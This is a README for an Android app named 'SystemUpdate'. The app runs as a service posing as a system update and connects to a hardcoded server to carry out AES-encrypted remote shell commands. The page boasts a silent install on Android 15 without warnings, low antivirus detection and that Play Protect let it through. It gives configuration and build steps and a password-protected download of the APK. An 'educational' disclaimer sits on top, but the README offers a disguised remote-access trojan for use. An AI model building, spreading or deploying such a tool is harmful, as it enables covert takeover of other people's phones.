📱 SystemUpdate – Educational Android Background Client

⚠️ DISCLAIMER: This project is intended for educational and ethical testing purposes only.
It demonstrates how Android foreground services and socket communication work.
It is not stealth malware, and must not be used for illegal or harmful activities.

---

🎬 Demo – Silent Install on Android 15

📲 This demo shows the APK being installed silently on an Android 15 device
— no popups, security prompts, or warnings — even with the August 3, 2025 security patch.
It appears as a normal system update app.

---

🧪 VirusTotal Scan Results

• Only 2 engines flagged the APK:

  • Google → Android:Agent-GEN
  • IKARUS → Trojan.AndroidOS.Agent

• ✅ Google Play Protect DID NOT block installation or execution.

⚠️ Low detection is due to simplicity and unfamiliar signature — not because it’s stealthy or advanced.

---

🧩 What It Does

SystemUpdate runs as a foreground Android service:

• Shows a persistent notification: “Updating system…”
• Connects to a hardcoded IP/Port
• Uses AES encryption to receive commands and send output
• Executes remote shell commands from server

---

🛠 How to Use

1. Clone this repo
2. Open PayloadService.kt and edit:
   • SERVER_IP
   • SERVER_PORT
   • SECRET_KEY
3. Build the APK with Android Studio
4. Install on a test device (Android 13–15+)
5. Start your TCP server and connect

---

📥 Download

🔐 Encrypted demo ZIP (APK + media) hosted on Mega:

📦 Download from MEGA
Password: 1234

Contents:

• SystemUpdate.apk
• Demo video (1.mp4)
• VirusTotal results (1.jpeg, 2.jpeg)
• Install GIF (1.gif)

---

📜 License – GNU GPL v3

This code is licensed under the GNU General Public License v3.
You're free to use, modify, and redistribute, but any derivative must remain open-source under the same license.

See LICENSE for details.

---

🧠 Final Thoughts

This project is a simple educational sandbox for:

• Android services
• Encrypted socket communication
• Remote shell execution testing

It is not obfuscated, does not attempt to bypass advanced security, and should only be used in controlled, ethical environments.

---

✅ Use it to learn

❌ Never use it to harm

🧪 Break, explore, improve — responsibly

💡 Be curious, not malicious.